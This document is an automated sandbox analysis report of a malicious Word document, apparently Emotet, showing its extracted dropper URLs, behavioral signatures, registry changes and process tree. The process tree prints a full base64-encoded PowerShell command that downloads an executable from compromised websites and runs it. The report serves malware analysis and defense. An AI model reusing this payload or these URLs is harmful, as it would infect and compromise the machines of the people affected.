Analysis
-
max time kernel
25s -
max time network
21s -
resource
win7v191014 -
submitted
04-02-2020 20:58
General
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://www.trinomulkantho.com/fkejsh742jdhed/uvb/
exe.dropper
http://40ad.com/wp-admin/jktqs/
exe.dropper
http://bestdiyprojects.info/wp-admin/GI/
exe.dropper
https://zetalogs.com/wp-includes/UUO2l9rLzB/
exe.dropper
https://beleze.com.br/social/KHp2ow/
Signatures
-
Blacklisted process makes network request 1 IoCs
Processes:
PoWERsheLL.exeflow pid process 8 784 PoWERsheLL.exe -
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 280 IoCs
Processes:
WINWORD.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\TypeLib\{4C78917E-AF04-4756-9C7B-F35773C02FD6}\2.0\ = "Microsoft Forms 2.0 Object Library" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\TypeLib\{4C78917E-AF04-4756-9C7B-F35773C02FD6}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\TypeLib\{4C78917E-AF04-4756-9C7B-F35773C02FD6}\2.0\0 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\TypeLib\{4C78917E-AF04-4756-9C7B-F35773C02FD6}\2.0\HELPDIR WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{4C78917E-AF04-4756-9C7B-F35773C02FD6}\2.0\0\win32 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{4C78917E-AF04-4756-9C7B-F35773C02FD6}\2.0\HELPDIR WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\TypeLib\{4C78917E-AF04-4756-9C7B-F35773C02FD6}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox" WINWORD.EXE -
Suspicious use of WriteProcessMemory 1 IoCs
Processes:
824.exedescription pid process target process PID 1412 wrote to memory of 2004 1412 824.exe WMVSDECD.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 2044 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
WINWORD.EXE824.exeWMVSDECD.exepid process 2044 WINWORD.EXE 1412 824.exe 2004 WMVSDECD.exe -
Process spawned unexpected child process 1 IoCs
Processes:
PoWERsheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 784 1332 PoWERsheLL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
PoWERsheLL.exedescription pid process Token: SeDebugPrivilege 784 PoWERsheLL.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
PoWERsheLL.exepid process 784 PoWERsheLL.exe -
Executes dropped EXE 2 IoCs
Processes:
824.exeWMVSDECD.exepid process 1412 824.exe 2004 WMVSDECD.exe -
Suspicious behavior: EmotetMutantsSpam 1 IoCs
Processes:
824.exepid process 1412 824.exe -
Drops file in System32 directory 2 IoCs
Processes:
PoWERsheLL.exe824.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk PoWERsheLL.exe File renamed C:\Users\Admin\824.exe => C:\Windows\SysWOW64\WMVSDECD\WMVSDECD.exe 824.exe
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ba1ad7a3f3d3f24d4862ca8b73df68f7e30f04153cc87040d51e2943af746c09.doc"1⤵
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2044
-
C:\Windows\System32\WindowsPowerShell\v1.0\PoWERsheLL.exePoWERsheLL -e JABWAHgAbwB3AGwAdwBiAGoAPQAnAEUAegBmAG4AZABnAGoAeQB1AG4AJwA7ACQATwBzAGUAbQByAGEAaQB5ACAAPQAgACcAOAAyADQAJwA7ACQATQBkAG8AbABrAHoAaQBuAHAAagBxAD0AJwBTAG0AZgBvAHMAdgBiAGcAJwA7ACQATwBlAHEAcgB4AGcAaQByAGsAdQBmAHkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAE8AcwBlAG0AcgBhAGkAeQArACcALgBlAHgAZQAnADsAJABOAHIAagBrAHEAagBkAGgAZgBtAGkAPQAnAFcAawBxAGsAbwB3AG8AcQBwAHEAYwBvACcAOwAkAFMAcABqAG4AZgBzAHkAZABlAGIAYwBjAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagAnACsAJwBlAGMAJwArACcAdAAnACkAIABOAEUAVAAuAHcARQBiAGMATABpAGUATgBUADsAJABUAG0AegBiAGUAZgBzAGUAdwBmAGEAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB0AHIAaQBuAG8AbQB1AGwAawBhAG4AdABoAG8ALgBjAG8AbQAvAGYAawBlAGoAcwBoADcANAAyAGoAZABoAGUAZAAvAHUAdgBiAC8AKgBoAHQAdABwADoALwAvADQAMABhAGQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGoAawB0AHEAcwAvACoAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AGQAaQB5AHAAcgBvAGoAZQBjAHQAcwAuAGkAbgBmAG8ALwB3AHAALQBhAGQAbQBpAG4ALwBHAEkALwAqAGgAdAB0AHAAcwA6AC8ALwB6AGUAdABhAGwAbwBnAHMALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFUAVQBPADIAbAA5AHIATAB6AEIALwAqAGgAdAB0AHAAcwA6AC8ALwBiAGUAbABlAHoAZQAuAGMAbwBtAC4AYgByAC8AcwBvAGMAaQBhAGwALwBLAEgAcAAyAG8AdwAvACcALgAiAFMAcABgAGwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwB2AGEAaABpAHAAcABiAHQAYgBvAHIAPQAnAEIAawBqAHMAcQB0AGkAZABiAGsAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFAAZgBpAGEAaABmAG4AcgBoAHEAeAByACAAaQBuACAAJABUAG0AegBiAGUAZgBzAGUAdwBmAGEAKQB7AHQAcgB5AHsAJABTAHAAagBuAGYAcwB5AGQAZQBiAGMAYwAuACIAZABPAFcAYABOAEwATwBhAGAARABgAEYAaQBsAGUAIgAoACQAUABmAGkAYQBoAGYAbgByAGgAcQB4AHIALAAgACQATwBlAHEAcgB4AGcAaQByAGsAdQBmAHkAKQA7ACQASQB4AHgAYQBnAHcAdABxAHgAbQA9ACcAWgBtAGQAdgByAHAAdgB4AHMAJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABPAGUAcQByAHgAZwBpAHIAawB1AGYAeQApAC4AIgBsAEUAbgBHAGAAVABoACIAIAAtAGcAZQAgADIAMQA2ADgAMwApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBgAFIARQBgAEEAdABFACIAKAAkAE8AZQBxAHIAeABnAGkAcgBrAHUAZgB5ACkAOwAkAEgAawB4AGMAawBjAHQAcAB0AD0AJwBTAGUAdAB1AHMAeABuAG8AbwAnADsAYgByAGUAYQBrADsAJABTAGQAcQBuAG0AbQBwAHEAPQAnAEgAcwB0AHYAeQBxAGYAdgB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAZwBrAHEAeQB1AGMAegBmAG4APQAnAEQAcwB0AGwAeABxAGcAYQBkAGYAegBrAGwAJwA=1⤵
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Drops file in System32 directory
PID:784
-
C:\Users\Admin\824.exeC:\Users\Admin\824.exe1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
PID:1412 -
C:\Windows\SysWOW64\WMVSDECD\WMVSDECD.exe"C:\Windows\SysWOW64\WMVSDECD\WMVSDECD.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:2004